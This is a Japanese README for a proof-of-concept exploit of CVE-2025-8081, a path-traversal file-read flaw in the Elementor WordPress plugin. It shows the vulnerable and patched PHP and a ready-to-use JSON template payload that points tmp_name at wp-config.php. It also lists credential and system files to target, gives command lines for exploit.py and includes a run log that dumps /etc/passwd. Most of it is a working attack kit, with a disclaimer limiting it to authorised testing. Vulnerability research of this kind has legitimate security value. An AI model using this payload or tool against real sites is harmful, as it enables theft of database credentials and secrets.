
CVE-2025-8081の概念実証エクスプロイト。Elementor WordPressプラグインにおける任意ファイル読み取りの脆弱性で、認証済み管理者がwp-config.phpなどの機密ファイルを読み取ることが可能になります。
| プロパティ | 値 |
|---|
| CVE ID | CVE-2025-8081 |
| タイプ | 任意ファイル読み取り (CWE-22: パストラバーサル) |
| CVSS スコア | 4.9 (中) - 実際の影響: 重大 |
| CVSS ベクター | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
| 影響を受けるバージョン | Elementor ≤ 3.30.2 |
| 修正バージョン | Elementor ≥ 3.30.3 |
| 公開日 | 2025年7月22日 |
| 開示日 | 2025年10月15日 |
wp-config.php へのアクセスにより、データベース認証情報とセキュリティキーが漏洩この脆弱性は単一のファイルの単一の行に存在します:
elementor/includes/template-library/classes/class-import-images.php
115行目 (v3.28.3)
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] ); // ❌ NO VALIDATION!
}
問題点: tmp_name パラメータが is_uploaded_file() で検証されていないため、攻撃者が任意のファイルパスを指定できます。
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = false;
// security validation in case the tmp_name has been tampered with
if ( is_uploaded_file( $attachment['tmp_name'] ) ) { // ✅ VALIDATION ADDED!
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
}
}
修正内容: パッチでは is_uploaded_file() 検証を追加し、tmp_name が正当な HTTP POST アップロードファイルを参照していることを保証します。
{
"content": [{
"id": "s1",
"elType": "section",
"settings": [],
"elements": [{
"id": "c1",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [{
"id": "w1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://x.com/x.jpg",
"id": 1,
"tmp_name": "/var/www/html/wp-config.php",
"name": "leaked_config.txt"
}
},
"elements": []
}]
}]
}],
"version": "0.4",
"type": "page"
}
payload.json として保存)leaked_config.txt を見つけてダウンロード結果: データベース認証情報を含む wp-config.php の内容が漏洩します!
| ファイル | 説明 | 影響 |
|---|---|---|
/var/www/html/wp-config.php | WordPress 設定 | 🔴 重大 - DB 認証情報 |
/proc/self/environ | 環境変数 | 🔴 重大 - API キー、シークレット |
| ファイル | 説明 | 影響 |
|---|---|---|
/etc/passwd | システムユーザー | 🟠 高 - ユーザー列挙 |
/var/www/html/.htaccess | Web サーバー設定 | 🟠 高 - 設定情報の開示 |
/var/log/apache2/access.log | Apache ログ | 🟡 中 - 情報開示 |
python3 exploit.py -t https://target.com -u admin -p password123
必須引数:
-t, --target URL WordPress ターゲット URL (例: https://target.com)
-u, --user USERNAME WordPress 管理者ユーザー名
-p, --password PASS WordPress 管理者パスワード
任意引数:
-f, --file PATH 読み取るファイル (デフォルト: /var/www/html/wp-config.php)
-o, --output FILE 出力ファイル名 (デフォルト: 自動生成)
--insecure, -k SSL 証明書の検証を無効化
-v, --verbose デバッグ用の詳細出力を有効化
-h, --help ヘルプメッセージを表示
# 基本的な悪用 (デフォルトのペイロードで wp-config.php を読み取る)
python3 exploit.py -t http://target.com -u admin -p password123
# カスタムターゲットファイル
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd
# HTTPS と自己署名証明書を使用
python3 exploit.py -t https://target.com -u admin -p password123 --insecure
# カスタム出力付きの詳細モード
python3 exploit.py -t http://target.com -u admin -p password123 \
-f /etc/passwd -o users.txt -v
# OrbStack/Docker からホストマシンをターゲットにする場合
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v
Kali:~$ python3 exploit.py -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd
======================================================================
CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File: /etc/passwd
======================================================================
[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes
======================================================================
EXPLOITATION SUCCESSFUL!
======================================================================
File URL: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to: leaked_passwd.txt
--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================
教育目的および許可されたテスト専用
このツールは、セキュリティ研究および侵入テストの目的でのみ提供されています。事前の相互同意なしにターゲットを攻撃するためのこのツールの使用は違法です。
適用されるすべての地域、州、連邦の法律を遵守する責任はエンドユーザーにあります。
このツールを使用することで、法的かつ倫理的に使用することに同意したものとみなされます。
最終更新日: 2025年10月17日